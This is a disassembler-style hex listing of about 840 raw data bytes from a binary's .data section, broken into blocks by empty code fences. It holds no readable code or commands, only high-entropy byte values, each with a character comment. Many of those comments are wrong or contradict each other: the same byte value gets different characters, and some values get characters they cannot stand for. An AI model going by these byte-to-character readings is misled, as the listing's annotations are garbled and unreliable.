.data:00408D1D      db 0FEh ; /
.data:00408D1E      db 0ADh ; i
.data:00408D1F      db 0EBh ; d
.data:00408D20      db 66h ; f
.data:00408D21      db 1Fh ;
.data:00408D22      db 0C3h ; +
.data:00408D23      db 0EAh ; O
.data:00408D24      db 95h ; ò
.data:00408D25      db 45h ; E
.data:00408D26      db 0BCh ; +
.data:00408D27      db 0E3h ; p
.data:00408D28      db 83h ; â
.data:00408D29      db 0C8h ; +
.data:00408D2A      db 7Bh ; {
.data:00408D2B      db 0A6h ; a
.data:00408D2C      db 0D1h ; -
.data:00408D2D      db 37h ; 7
.data:00408D2E      db 7Fh ; •
.data:00408D2F      db 0B1h ; /
.data:00408D30      db 28h ; (
.data:00408D31      db 0FFh ;
.data:00408D32      db 8Ch ; î
.data:00408D33      db 1 ;
.data:00408D34      db 0EFh ; n
.data:00408D35      db 0DDh ; /
.data:00408D36      db 32h ; 2
.data:00408D37      db 0C3h ; +
.data:00408D38      db 0A5h ; Ñ
.data:00408D39      db 5Ah ; Z
.data:00408D3A      db 6Ch ; l
.data:00408D3B      db 0BEh ; +
.data:00408D3C      db 85h ; à
.data:00408D3D      db 21h ; !
.data:00408D3E      db 58h ; X
.data:00408D3F      db 65h ; e
.data:00408D40      db 2 ;
.data:00408D41      db 98h ; ŷ
.data:00408D42      db 0ABh ; ½
.data:00408D43      db 68h ; h
.data:00408D44      db 0Fh ;
.data:00408D45      db 0A5h ; Ñ
.data:00408D46      db 0CEh ; +
.data:00408D47      db 0EEh ; e
.data:00408D48      db 3Bh ; ;
.data:00408D49      db 95h ; ò
.data:00408D4A      db 2Fh ; /
.data:00408D4B      db 0DBh ; /
.data:00408D4C      db 0ADh ; i
.data:00408D4D      db 7Dh ; }
.data:00408D4E      db 0EFh ; n
.data:00408D4F      db 2Ah ; *
.data:00408D50      db 84h ; ä
.data:00408D51      db 2Fh ; /
.data:00408D52      db 6Eh ; n
.data:00408D53      db 5Bh ; [
.data:00408D54      db 28h ; (
.data:00408D55      db 0B6h ; /
.data:00408D56      db 21h ; !
.data:00408D57      db 15h ;

```

```

.data:00408D58      db  70h ; p
.data:00408D59      db  61h ; a
.data:00408D5A      db   7 ; 
.data:00408D5B      db  29h ; )
.data:00408D5C      db  75h ; u
.data:00408D5D      db  47h ; G
.data:00408D5E      db 0DDh ; /
.data:00408D5F      db 0ECh ; 8
.data:00408D60      db  10h ; 
.data:00408D61      db  15h ; 
.data:00408D62      db  9Fh ; f
.data:00408D63      db  61h ; a
.data:00408D64      db  30h ; 0
.data:00408D65      db 0A8h ; z
.data:00408D66      db 0CCh ; /
.data:00408D67      db  13h ; 
.data:00408D68      db  96h ; û
.data:00408D69      db 0BDh ; +
.data:00408D6A      db  61h ; a
.data:00408D6B      db 0EBh ; d
.data:00408D6C      db  1Eh ; 
.data:00408D6D      db 0FEh ; /
.data:00408D6E      db  34h ; 4
.data:00408D6F      db   3 ; 
.data:00408D70      db 0CFh ; -
.data:00408D71      db  63h ; c
.data:00408D72      db   3 ; 
.data:00408D73      db 0AAh ; ¬
.data:00408D74      db  90h ; Ē
.data:00408D75      db  5Ch ; \
.data:00408D76      db  73h ; s
.data:00408D77      db 0B5h ; /
.data:00408D78      db  39h ; 9
.data:00408D79      db 0A2h ; ó
.data:00408D7A      db  70h ; p
.data:00408D7B      db  4Ch ; L
.data:00408D7C      db  0Bh ; 
.data:00408D7D      db  9Eh ; P
.data:00408D7E      db  9Eh ; P
.data:00408D7F      db 0D5h ; +
.data:00408D80      db  14h ; 
.data:00408D81      db 0DEh ; /
.data:00408D82      db 0AAh ; ¬
.data:00408D83      db 0CBh ; -
.data:00408D84      db 0BCh ; +
.data:00408D85      db  86h ; å
.data:00408D86      db 0CCh ; /
.data:00408D87      db 0EEh ; e
.data:00408D88      db 0A7h ; °
.data:00408D89      db  2Ch ; ,
.data:00408D8A      db  62h ; b
.data:00408D8B      db  60h ; `
.data:00408D8C      db 0ABh ; ½
.data:00408D8D      db  5Ch ; \
.data:00408D8E      db 0ABh ; ½
.data:00408D8F      db  9Ch ; £
.data:00408D90      db  6Eh ; n
.data:00408D91      db  84h ; ä
.data:00408D92      db 0F3h ; =
.data:00408D93      db 0B2h ; /
.data:00408D94      db 0AFh ; »
.data:00408D95      db  1Eh ; 
.data:00408D96      db  8Bh ; i
.data:00408D97      db  64h ; d
.data:00408D98      db 0CAh ; -
.data:00408D99      db 0F0h ; =
.data:00408D9A      db 0BDh ; +
.data:00408D9B      db  19h ; 
.data:00408D9C      db 0B9h ; /
.data:00408D9D      db  69h ; i

```

```

.data:00408D9E      db 23h ; #
.data:00408D9F      db 0A0h ; á
.data:00408DA0      db 50h ; P
.data:00408DA1      db 0BBh ; +
.data:00408DA2      db 5Ah ; Z
.data:00408DA3      db 65h ; e
.data:00408DA4      db 32h ; 2
.data:00408DA5      db 5Ah ; Z
.data:00408DA6      db 68h ; h
.data:00408DA7      db 40h ; @
.data:00408DA8      db 0B3h ; /
.data:00408DA9      db 0B4h ; /
.data:00408DAA      db 2Ah ; *
.data:00408DAB      db 3Ch ; <
.data:00408DAC      db 0D5h ; +
.data:00408DAD      db 0E9h ; T
.data:00408DAE      db 9Eh ; P
.data:00408DAF      db 31h ; 1
.data:00408DB0      db 0F7h ; ~
.data:00408DB1      db 0B8h ; +
.data:00408DB2      db 21h ; !
.data:00408DB3      db 0C0h ; +
.data:00408DB4      db 19h ;
.data:00408DB5      db 0Bh ;
.data:00408DB6      db 54h ; T
.data:00408DB7      db 9Bh ; ç
.data:00408DB8      db 99h ; Ö
.data:00408DB9      db 0A0h ; á
.data:00408DBA      db 5Fh ; _
.data:00408DBB      db 87h ; ç
.data:00408DBC      db 7Eh ; ~
.data:00408DBD      db 99h ; Ö
.data:00408DBE      db 0F7h ; ~
.data:00408DBF      db 95h ; ò
.data:00408DC0      db 0A8h ; ç
.data:00408DC1      db 7Dh ; }
.data:00408DC2      db 3Dh ; =
.data:00408DC3      db 62h ; b
.data:00408DC4      db 9Ah ; Ů
.data:00408DC5      db 88h ; ê
.data:00408DC6      db 37h ; 7
.data:00408DC7      db 0F8h ; °
.data:00408DC8      db 77h ; w
.data:00408DC9      db 2Dh ; -
.data:00408DCA      db 0E3h ; p
.data:00408DCB      db 97h ; ù
.data:00408DCC      db 5Fh ; _
.data:00408DCD      db 93h ; ô
.data:00408DCE      db 0EDh ; f
.data:00408DCF      db 11h ;
.data:00408DD0      db 81h ; ü
.data:00408DD1      db 12h ;
.data:00408DD2      db 68h ; h
.data:00408DD3      db 16h ;
.data:00408DD4      db 29h ; )
.data:00408DD5      db 88h ; ê
.data:00408DD6      db 35h ; 5
.data:00408DD7      db 0Eh ;
.data:00408DD8      db 0D6h ; +
.data:00408DD9      db 1Fh ;
.data:00408DDA      db 0E6h ; μ
.data:00408DDB      db 0C7h ; /
.data:00408DDC      db 0A1h ; í
.data:00408DDD      db 0DFh ; -
.data:00408DDE      db 0DEh ; /
.data:00408DDF      db 96h ; û
.data:00408DE0      db 99h ; Ö
.data:00408DE1      db 0BAh ; /
.data:00408DE2      db 58h ; X
.data:00408DE3      db 78h ; x

```

```

.data:00408DE4      db 0A5h ; Ñ
.data:00408DE5      db 84h ; ä
.data:00408DE6      db 0F5h ; )
.data:00408DE7      db 57h ; W
.data:00408DE8      db 63h ; c
.data:00408DE9      db 72h ; r
.data:00408DEA      db 22h ; "
.data:00408DEB      db 1Bh ;
.data:00408DEC      db 0FFh ;
.data:00408DED      db 0C3h ; +
.data:00408DEE      db 83h ; â
.data:00408DEF      db 9Bh ; ç
.data:00408DF0      db 96h ; û
.data:00408DF1      db 46h ; F
.data:00408DF2      db 0C2h ; -
.data:00408DF3      db 1Ah ;
.data:00408DF4      db 0EBh ; d
.data:00408DF5      db 0Ah ;
.data:00408DF6      db 0B3h ; /
.data:00408DF7      db 0CDh ; -
.data:00408DF8      db 54h ; T
.data:00408DF9      db 30h ; 0
.data:00408DFA      db 2Eh ; .
.data:00408DFB      db 53h ; S
.data:00408DFC      db 0E4h ; S
.data:00408DFD      db 48h ; H
.data:00408DFE      db 0D9h ; +
.data:00408DFF      db 8Fh ; Å
.data:00408E00      db 28h ; (
.data:00408E01      db 31h ; l
.data:00408E02      db 0BCh ; +
.data:00408E03      db 6Dh ; m
.data:00408E04      db 0EFh ; n
.data:00408E05      db 0F2h ; =
.data:00408E06      db 0EBh ; d
.data:00408E07      db 58h ; X
.data:00408E08      db 0EAh ; O
.data:00408E09      db 0FFh ;
.data:00408E0A      db 0C6h ; /
.data:00408E0B      db 34h ; 4
.data:00408E0C      db 61h ; a
.data:00408E0D      db 0EDh ; f
.data:00408E0E      db 28h ; (
.data:00408E0F      db 0FEh ; /
.data:00408E10      db 73h ; s
.data:00408E11      db 3Ch ; <
.data:00408E12      db 7Ch ; /
.data:00408E13      db 0EEh ; e
.data:00408E14      db 0D9h ; +
.data:00408E15      db 14h ;
.data:00408E16      db 4Ah ; J
.data:00408E17      db 5Dh ; J
.data:00408E18      db 0E3h ; p
.data:00408E19      db 0B7h ; +
.data:00408E1A      db 64h ; d
.data:00408E1B      db 0E8h ; F
.data:00408E1C      db 14h ;
.data:00408E1D      db 5Dh ; J
.data:00408E1E      db 10h ;
.data:00408E1F      db 42h ; B
.data:00408E20      db 0E0h ; a
.data:00408E21      db 13h ;
.data:00408E22      db 3Eh ; >
.data:00408E23      db 20h ;
.data:00408E24      db 0B6h ; /
.data:00408E25      db 0E2h ; G
.data:00408E26      db 0EEh ; e
.data:00408E27      db 45h ; E
.data:00408E28      db 0EAh ; O
.data:00408E29      db 0ABh ; ½

```



```

.data:00408E2A      db 0AAh ; ɿ
.data:00408E2B      db 0A3h ; ũ
.data:00408E2C      db 15h ;
.data:00408E2D      db 4Fh ; O
.data:00408E2E      db 6Ch ; l
.data:00408E2F      db 0DBh ; /
.data:00408E30      db 0D0h ; -
.data:00408E31      db 4Fh ; O
.data:00408E32      db 0CBh ; -
.data:00408E33      db 0FAh ; ·
.data:00408E34      db 42h ; B
.data:00408E35      db 0F4h ; (
.data:00408E36      db 42h ; B
.data:00408E37      db 0C7h ; /
.data:00408E38      db 0B5h ; /
.data:00408E39      db 0BBh ; +
.data:00408E3A      db 6Ah ; j
.data:00408E3B      db 0EFh ; n
.data:00408E3C      db 1Dh ;
.data:00408E3D      db 3Bh ; ;
.data:00408E3E      db 4Fh ; O
.data:00408E3F      db 65h ; e
.data:00408E40      db 5 ;
.data:00408E41      db 21h ; !
.data:00408E42      db 0CDh ; -
.data:00408E43      db 41h ; A
.data:00408E44      db 9Eh ; P
.data:00408E45      db 79h ; Y
.data:00408E46      db 1Eh ;
.data:00408E47      db 0D8h ; +
.data:00408E48      db 0C7h ; /
.data:00408E49      db 4Dh ; M
.data:00408E4A      db 85h ; à
.data:00408E4B      db 86h ; å
.data:00408E4C      db 6Ah ; j
.data:00408E4D      db 47h ; G
.data:00408E4E      db 4Bh ; K
.data:00408E4F      db 0E4h ; S
.data:00408E50      db 50h ; P
.data:00408E51      db 62h ; b
.data:00408E52      db 81h ; ü
.data:00408E53      db 3Dh ; =
.data:00408E54      db 0F2h ; =
.data:00408E55      db 0A1h ; í
.data:00408E56      db 62h ; b
.data:00408E57      db 0CFh ; -
.data:00408E58      db 46h ; F
.data:00408E59      db 26h ; &
.data:00408E5A      db 8Dh ; ì
.data:00408E5B      db 5Bh ; [
.data:00408E5C      db 0A0h ; á
.data:00408E5D      db 83h ; â
.data:00408E5E      db 88h ; ê
.data:00408E5F      db 0FCh ; n
.data:00408E60      db 0A3h ; ũ
.data:00408E61      db 0B6h ; /
.data:00408E62      db 0C7h ; /
.data:00408E63      db 0C1h ; -
.data:00408E64      db 0C3h ; +
.data:00408E65      db 24h ; $
.data:00408E66      db 15h ;
.data:00408E67      db 7Fh ; •
.data:00408E68      db 92h ; Æ
.data:00408E69      db 74h ; t
.data:00408E6A      db 0CBh ; -
.data:00408E6B      db 69h ; i
.data:00408E6C      db 0Bh ;
.data:00408E6D      db 8Ah ; è
.data:00408E6E      db 84h ; ä
.data:00408E6F      db 47h ; G

```

```

.data:00408E70      db  85h ; à
.data:00408E71      db 0E2h ; /
.data:00408E72      db  92h ; Æ
.data:00408E73      db  56h ; V
.data:00408E74      db   0 ;
.data:00408E75      db 0BFh ; +
.data:00408E76      db  5Bh ; [
.data:00408E77      db   9 ;
.data:00408E78      db  9Dh ; ¥
.data:00408E79      db  48h ; H
.data:00408E7A      db  19h ;
.data:00408E7B      db 0ADh ; i
.data:00408E7C      db  74h ; t
.data:00408E7D      db 0B1h ; /
.data:00408E7E      db  62h ; b
.data:00408E7F      db  14h ;
.data:00408E80      db   0 ;
.data:00408E81      db  0Eh ;
.data:00408E82      db  82h ; é
.data:00408E83      db  23h ; #
.data:00408E84      db  2Ah ; *
.data:00408E85      db  8Dh ; ì
.data:00408E86      db  42h ; B
.data:00408E87      db  58h ; X
.data:00408E88      db 0EAh ; O
.data:00408E89      db 0F5h ; )
.data:00408E8A      db  55h ; U
.data:00408E8B      db  0Ch ;
.data:00408E8C      db  3Eh ; >
.data:00408E8D      db 0F4h ; (
.data:00408E8E      db 0ADh ; i
.data:00408E8F      db  1Dh ;
.data:00408E90      db  61h ; a
.data:00408E91      db  70h ; p
.data:00408E92      db  3Fh ; ?
.data:00408E93      db  23h ; #
.data:00408E94      db  92h ; Æ
.data:00408E95      db 0F0h ; =
.data:00408E96      db  72h ; r
.data:00408E97      db  33h ; 3
.data:00408E98      db  41h ; A
.data:00408E99      db  7Eh ; ~
.data:00408E9A      db  93h ; ô
.data:00408E9B      db  8Dh ; ì
.data:00408E9C      db 0F1h ; ±
.data:00408E9D      db 0ECh ; 8
.data:00408E9E      db  5Fh ; _
.data:00408E9F      db 0D6h ; +
.data:00408EA0      db 0DBh ; /
.data:00408EA1      db  3Bh ; ;
.data:00408EA2      db  22h ; "
.data:00408EA3      db  6Ch ; l
.data:00408EA4      db  59h ; Y
.data:00408EA5      db  37h ; 7
.data:00408EA6      db 0DEh ; /
.data:00408EA7      db  7Ch ; /
.data:00408EA8      db  60h ; `
.data:00408EA9      db  74h ; t
.data:00408EAA      db 0EEh ; e
.data:00408EAB      db 0CBh ; -
.data:00408EAC      db 0A7h ; °
.data:00408EAD      db 0F2h ; =
.data:00408EAE      db  85h ; à
.data:00408EAF      db  40h ; @
.data:00408EB0      db  6Eh ; n
.data:00408EB1      db  32h ; 2
.data:00408EB2      db  77h ; w
.data:00408EB3      db 0CEh ; +
.data:00408EB4      db  84h ; ä
.data:00408EB5      db  80h ; Ç

```

```

.data:00408EB6      db      7 ;
.data:00408EB7      db     0A6h ; a
.data:00408EB8      db     9Eh ; P
.data:00408EB9      db     50h ; P
.data:00408EBA      db     0F8h ; o
.data:00408EBB      db     19h ;
.data:00408EBC      db     55h ; U
.data:00408EBD      db     0D8h ; +
.data:00408EBE      db     0EFh ; n
.data:00408EBF      db     0E8h ; F
.data:00408EC0      db     35h ; 5
.data:00408EC1      db     97h ; ù
.data:00408EC2      db     0D9h ; +
.data:00408EC3      db     61h ; a
.data:00408EC4      db     0AAh ; ı
.data:00408EC5      db     0A7h ; °
.data:00408EC6      db     69h ; i
.data:00408EC7      db     0A9h ; ı
.data:00408EC8      db     0C2h ; -
.data:00408EC9      db      6 ;
.data:00408ECA      db     0Ch ;
.data:00408ECB      db     0C5h ; +
.data:00408ECC      db     0FCh ; n
.data:00408ECD      db     0ABh ; ½
.data:00408ECE      db      4 ;
.data:00408ECF      db     5Ah ; Z
.data:00408ED0      db     0DCh ; -
.data:00408ED1      db     0CAh ; -
.data:00408ED2      db     0Bh ;
.data:00408ED3      db     80h ; Ç
.data:00408ED4      db     2Eh ; .
.data:00408ED5      db     7Ah ; z
.data:00408ED6      db     44h ; D
.data:00408ED7      db     9Eh ; P
.data:00408ED8      db     84h ; ä
.data:00408ED9      db     34h ; 4
.data:00408EDA      db     45h ; E
.data:00408EDB      db     0C3h ; +
.data:00408EDC      db      5 ;
.data:00408EDD      db     67h ; g
.data:00408EDE      db     0D5h ; +
.data:00408EDF      db     0FDh ; ²
.data:00408EE0      db     0C9h ; +
.data:00408EE1      db     9Eh ; P
.data:00408EE2      db     1Eh ;
.data:00408EE3      db     0Eh ;
.data:00408EE4      db     0D3h ; +
.data:00408EE5      db     0DBh ; /
.data:00408EE6      db     73h ; s
.data:00408EE7      db     0DBh ; /
.data:00408EE8      db     0CDh ; -
.data:00408EE9      db     88h ; ê
.data:00408EEA      db     55h ; U
.data:00408EEB      db     10h ;
.data:00408EEC      db     79h ; y
.data:00408EED      db     0DAh ; +
.data:00408EEE      db     5Fh ; _
.data:00408EEF      db     67h ; g
.data:00408EF0      db     40h ; @
.data:00408EF1      db     43h ; C
.data:00408EF2      db     67h ; g
.data:00408EF3      db     0E3h ; p
.data:00408EF4      db     65h ; e
.data:00408EF5      db     34h ; 4
.data:00408EF6      db     0C4h ; -
.data:00408EF7      db     0C5h ; +
.data:00408EF8      db     0D8h ; +
.data:00408EF9      db     38h ; 8
.data:00408EFA      db     3Eh ; >
.data:00408EFB      db     71h ; q

```

```

.data:00408EFC      db  9Eh ; P
.data:00408EFD      db  0F8h ; °
.data:00408EFE      db  28h ; (
.data:00408EFF      db  3Dh ; =
.data:00408F00      db  20h ;
.data:00408F01      db  0FFh ;
.data:00408F02      db  6Dh ; m
.data:00408F03      db  0F1h ; ±
.data:00408F04      db  0E7h ; t
.data:00408F05      db  21h ; !
.data:00408F06      db  3Eh ; >
.data:00408F07      db  15h ;
.data:00408F08      db  4Ah ; J
.data:00408F09      db  3Dh ; =
.data:00408F0A      db  0B0h ; |
.data:00408F0B      db  8Fh ; Å
.data:00408F0C      db  2Bh ; +
.data:00408F0D      db  9Fh ; f
.data:00408F0E      db  0E3h ; p
.data:00408F0F      db  0E6h ; μ
.data:00408F10      db  0F7h ; ~
.data:00408F11      db  0ADh ; ;
.data:00408F12      db  83h ; â
.data:00408F13      db  0DBh ; /
.data:00408F14      db  68h ; h
.data:00408F15      db  5Ah ; Z
.data:00408F16      db  3Dh ; =
.data:00408F17      db  0E9h ; T
.data:00408F18      db  0F7h ; ~
.data:00408F19      db  40h ; @
.data:00408F1A      db  81h ; ü
.data:00408F1B      db  94h ; ö
.data:00408F1C      db  1Ch ; ;
.data:00408F1D      db  26h ; &
.data:00408F1E      db  4Ch ; L
.data:00408F1F      db  0F6h ; ÷
.data:00408F20      db  34h ; 4
.data:00408F21      db  29h ; )
.data:00408F22      db  69h ; i
.data:00408F23      db  94h ; ö
.data:00408F24      db  0F7h ; ~
.data:00408F25      db  20h ;
.data:00408F26      db  15h ;
.data:00408F27      db  41h ; A
.data:00408F28      db  0F7h ; ~
.data:00408F29      db  0D4h ; +
.data:00408F2A      db  2 ;
.data:00408F2B      db  76h ; v
.data:00408F2C      db  2Eh ; .
.data:00408F2D      db  6Bh ; k
.data:00408F2E      db  0F4h ; (
.data:00408F2F      db  0ECh ; +
.data:00408F30      db  68h ; h
.data:00408F31      db  0 ;
.data:00408F32      db  0A2h ; ó
.data:00408F33      db  0D4h ; +
.data:00408F34      db  71h ; q
.data:00408F35      db  24h ; $
.data:00408F36      db  8 ;
.data:00408F37      db  0D4h ; +
.data:00408F38      db  6Ah ; j
.data:00408F39      db  0F4h ; (
.data:00408F3A      db  20h ;
.data:00408F3B      db  33h ; 3
.data:00408F3C      db  0B7h ; +
.data:00408F3D      db  0D4h ; +
.data:00408F3E      db  0B7h ; +
.data:00408F3F      db  43h ; C
.data:00408F40      db  0AFh ; »
.data:00408F41      db  61h ; a

```

```

.data:00408F42      db      0 ;
.data:00408F43      db      50h ; P
.data:00408F44      db      2Eh ; .
.data:00408F45      db      0F6h ; ÷
.data:00408F46      db      39h ; 9
.data:00408F47      db      1Eh ;
.data:00408F48      db      46h ; F
.data:00408F49      db      45h ; E
.data:00408F4A      db      24h ; $
.data:00408F4B      db      97h ; ù
.data:00408F4C      db      74h ; t
.data:00408F4D      db      4Fh ; O
.data:00408F4E      db      21h ; !
.data:00408F4F      db      14h ;
.data:00408F50      db      40h ; @
.data:00408F51      db      88h ; ê
.data:00408F52      db      8Bh ; i
.data:00408F53      db      0BFh ; +
.data:00408F54      db      1Dh ;
.data:00408F55      db      0FCh ; n
.data:00408F56      db      95h ; ò
.data:00408F57      db      4Dh ; M
.data:00408F58      db      0AFh ; »
.data:00408F59      db      91h ; æ
.data:00408F5A      db      0B5h ; /
.data:00408F5B      db      96h ; û
.data:00408F5C      db      0D3h ; +
.data:00408F5D      db      0DDh ; /
.data:00408F5E      db      0F4h ; (
.data:00408F5F      db      70h ; p
.data:00408F60      db      45h ; E
.data:00408F61      db      2Fh ; /
.data:00408F62      db      0A0h ; á
.data:00408F63      db      66h ; f
.data:00408F64      db      0ECh ; 8
.data:00408F65      db      9 ;
.data:00408F66      db      0ECh ; +
.data:00408F67      db      0BFh ; +
.data:00408F68      db      85h ; à
.data:00408F69      db      97h ; ù
.data:00408F6A      db      0BDh ; +
.data:00408F6B      db      3 ;
.data:00408F6C      db      0D0h ; -
.data:00408F6D      db      6Dh ; m
.data:00408F6E      db      0ACh ; ¼
.data:00408F6F      db      7Fh ; •
.data:00408F70      db      4 ;
.data:00408F71      db      85h ; à
.data:00408F72      db      0CBh ; -
.data:00408F73      db      31h ; 1
.data:00408F74      db      0B3h ; /
.data:00408F75      db      27h ; '
.data:00408F76      db      0EBh ; d
.data:00408F77      db      96h ; ù
.data:00408F78      db      41h ; A
.data:00408F79      db      39h ; 9
.data:00408F7A      db      0FDh ; ?
.data:00408F7B      db      55h ; U
.data:00408F7C      db      0E6h ; µ
.data:00408F7D      db      47h ; G
.data:00408F7E      db      25h ; %
.data:00408F7F      db      0DAh ; +
.data:00408F80      db      9Ah ; Ū
.data:00408F81      db      0Ah ;
.data:00408F82      db      0CAh ; -
.data:00408F83      db      0ABh ; ½
.data:00408F84      db      25h ; %
.data:00408F85      db      78h ; x
.data:00408F86      db      50h ; P
.data:00408F87      db      28h ; (

```

```

.data:00408F88      db 0F4h ; (
.data:00408F89      db 29h ; )
.data:00408F8A      db 4 ;
.data:00408F8B      db 53h ; S
.data:00408F8C      db 0DAh ; +
.data:00408F8D      db 86h ; à
.data:00408F8E      db 2Ch ; ,
.data:00408F8F      db 0Ah ;
.data:00408F90      db 0FBh ; v
.data:00408F91      db 6Dh ; m
.data:00408F92      db 0B6h ; /
.data:00408F93      db 0E9h ; T
.data:00408F94      db 62h ; b
.data:00408F95      db 14h ;
.data:00408F96      db 0DCh ; _
.data:00408F97      db 68h ; h
.data:00408F98      db 0 ;
.data:00408F99      db 69h ; i
.data:00408F9A      db 48h ; H
.data:00408F9B      db 0D7h ; +
.data:00408F9C      db 0A4h ; ñ
.data:00408F9D      db 0C0h ; +
.data:00408F9E      db 0Eh ;
.data:00408F9F      db 68h ; h
.data:00408FA0      db 0EEh ; e
.data:00408FA1      db 8Dh ; ì
.data:00408FA2      db 0A1h ; í
.data:00408FA3      db 27h ; '
.data:00408FA4      db 0A2h ; ó
.data:00408FA5      db 0FEh ; /
.data:00408FA6      db 3Fh ; ?
.data:00408FA7      db 4Fh ; O
.data:00408FA8      db 8Ch ; î
.data:00408FA9      db 0ADh ; i
.data:00408FAA      db 87h ; ç
.data:00408FAB      db 0E8h ; F
.data:00408FAC      db 6 ;
.data:00408FAD      db 0E0h ; a
.data:00408FAE      db 8Ch ; î
.data:00408FAF      db 0B5h ; /
.data:00408FB0      db 0B6h ; /
.data:00408FB1      db 0D6h ; +
.data:00408FB2      db 0F4h ; (
.data:00408FB3      db 7Ah ; z
.data:00408FB4      db 7Ch ; /
.data:00408FB5      db 1Eh ;
.data:00408FB6      db 0CEh ; +
.data:00408FB7      db 0AAh ; ¬
.data:00408FB8      db 0ECh ; 8
.data:00408FB9      db 5Fh ; _
.data:00408FBA      db 37h ; 7
.data:00408FBB      db 0D3h ; +
.data:00408FBC      db 99h ; Ö
.data:00408FBD      db 0A3h ; ú
.data:00408FBE      db 78h ; x
.data:00408FBF      db 0CEh ; +
.data:00408FC0      db 42h ; B
.data:00408FC1      db 2Ah ; *
.data:00408FC2      db 6Bh ; k
.data:00408FC3      db 40h ; @
.data:00408FC4      db 35h ; 5
.data:00408FC5      db 9Eh ; P
.data:00408FC6      db 0FEh ; /
.data:00408FC7      db 20h ;
.data:00408FC8      db 0B9h ; /
.data:00408FC9      db 85h ; à
.data:00408FCA      db 0F3h ; =
.data:00408FCB      db 0D9h ; +
.data:00408FCC      db 0ABh ; ½
.data:00408FCD      db 0D7h ; +

```

```

.data:00408FCE      db  39h ; 9
.data:00408FCF      db  0EEh ; e
.data:00408FD0      db  8Bh ; i
.data:00408FD1      db  4Eh ; N
.data:00408FD2      db  12h ;
.data:00408FD3      db  3Bh ; ;
.data:00408FD4      db  0F7h ; ~
.data:00408FD5      db  0FAh ; .
.data:00408FD6      db  0C9h ; +
.data:00408FD7      db  1Dh ;
.data:00408FD8      db  56h ; V
.data:00408FD9      db  18h ;
.data:00408FDA      db  6Dh ; m
.data:00408FDB      db  4Bh ; K
.data:00408FDC      db  31h ; 1
.data:00408FDD      db  66h ; f
.data:00408FDE      db  0A3h ; ú
.data:00408FDF      db  26h ; &
.data:00408FE0      db  0B2h ; /
.data:00408FE1      db  97h ; ù
.data:00408FE2      db  0E3h ; p
.data:00408FE3      db  0EAh ; O
.data:00408FE4      db  74h ; t
.data:00408FE5      db  0FAh ; .
.data:00408FE6      db  6Eh ; n
.data:00408FE7      db  3Ah ; :
.data:00408FE8      db  32h ; 2
.data:00408FE9      db  43h ; C
.data:00408FEA      db  5Bh ; [
.data:00408FEB      db  0DDh ; /
.data:00408FEC      db  0F7h ; ~
.data:00408FED      db  0E7h ; t
.data:00408FEE      db  41h ; A
.data:00408FEF      db  68h ; h
.data:00408FF0      db  0FBh ; v
.data:00408FF1      db  20h ;
.data:00408FF2      db  78h ; x
.data:00408FF3      db  0CAh ; -
.data:00408FF4      db  4Eh ; N
.data:00408FF5      db  0F5h ; )
.data:00408FF6      db  0Ah ;
.data:00408FF7      db  0FBh ; v
.data:00408FF8      db  97h ; ù
.data:00408FF9      db  0B3h ; /
.data:00408FFA      db  0FEh ; /
.data:00408FFB      db  0D8h ; +
.data:00408FFC      db  0ACh ; ¼
.data:00408FFD      db  56h ; V
.data:00408FFE      db  40h ; @
.data:00408FFF      db  45h ; E
.data:00409000      db  27h ; '
.data:00409001      db  95h ; ò
.data:00409002      db  48h ; H
.data:00409003      db  0BAh ; /
.data:00409004      db  3Ah ; :
.data:00409005      db  3Ah ; :
.data:00409006      db  53h ; S
.data:00409007      db  55h ; U
.data:00409008      db  87h ; Ç
.data:00409009      db  8Dh ; ì
.data:0040900A      db  83h ; â
.data:0040900B      db  20h ;
.data:0040900C      db  0B7h ; +
.data:0040900D      db  0A9h ; ¬
.data:0040900E      db  6Bh ; k
.data:0040900F      db  0FEh ; /
.data:00409010      db  4Bh ; K
.data:00409011      db  95h ; ò
.data:00409012      db  96h ; û
.data:00409013      db  0D0h ; -

```

```

.data:00409014      db 0ECh ; +
.data:00409015      db 67h ; g
.data:00409016      db 0A8h ; z
.data:00409017      db 55h ; U
.data:00409018      db 58h ; X
.data:00409019      db 9Ah ; Ū
.data:0040901A      db 15h ;
.data:0040901B      db 0A1h ; í
.data:0040901C      db 63h ; c
.data:0040901D      db 29h ; )
.data:0040901E      db 0A9h ; ˘
.data:0040901F      db 0CCh ; /
.data:00409020      db 33h ; 3
.data:00409021      db 0DBh ; /
.data:00409022      db 0E1h ; ß
.data:00409023      db 99h ; Ö
.data:00409024      db 56h ; V
.data:00409025      db 4Ah ; J
.data:00409026      db 2Ah ; *
.data:00409027      db 0A6h ; a
.data:00409028      db 0F9h ; ·
.data:00409029      db 25h ; %
.data:0040902A      db 31h ; 1
.data:0040902B      db 3Fh ; ?
.data:0040902C      db 1Ch ;
.data:0040902D      db 7Eh ; ~
.data:0040902E      db 0F4h ; (
.data:0040902F      db 5Eh ; ^
.data:00409030      db 7Ch ; /
.data:00409031      db 31h ; 1
.data:00409032      db 29h ; )
.data:00409033      db 90h ; Ē
.data:00409034      db 2 ;
.data:00409035      db 0E8h ; F
.data:00409036      db 0F8h ; °
.data:00409037      db 0FDh ; ²
.data:00409038      db 70h ; p
.data:00409039      db 2Fh ; /
.data:0040903A      db 27h ; '
.data:0040903B      db 4 ;
.data:0040903C      db 5Ch ; \
.data:0040903D      db 15h ;
.data:0040903E      db 0BBh ; +
.data:0040903F      db 80h ; Ç
.data:00409040      db 0E3h ; p
.data:00409041      db 2Ch ; ,
.data:00409042      db 28h ; (
.data:00409043      db 5 ;
.data:00409044      db 48h ; H
.data:00409045      db 15h ;
.data:00409046      db 0C1h ; -
.data:00409047      db 95h ; ò
.data:00409048      db 22h ; "
.data:00409049      db 6Dh ; m
.data:0040904A      db 0C6h ; /
.data:0040904B      db 0E4h ; S
.data:0040904C      db 3Fh ; ?
.data:0040904D      db 13h ;
.data:0040904E      db 0C1h ; -
.data:0040904F      db 48h ; H
.data:00409050      db 0DCh ; _
.data:00409051      db 86h ; à
.data:00409052      db 0Fh ;
.data:00409053      db 0C7h ; /
.data:00409054      db 0EEh ; e
.data:00409055      db 0C9h ; +
.data:00409056      db 0F9h ; ·
.data:00409057      db 7 ;
.data:00409058      db 0Fh ;
.data:00409059      db 1Fh ;

```



```

.data:0040905A      db      4 ;
.data:0040905B      db      41h ; A
.data:0040905C      db      0A4h ; ã
.data:0040905D      db      79h ; y
.data:0040905E      db      47h ; G
.data:0040905F      db      40h ; @
.data:00409060      db      17h ;
.data:00409061      db      6Eh ; n
.data:00409062      db      88h ; ê
.data:00409063      db      5Dh ; l
.data:00409064      db      0EBh ; d
.data:00409065      db      51h ; Q
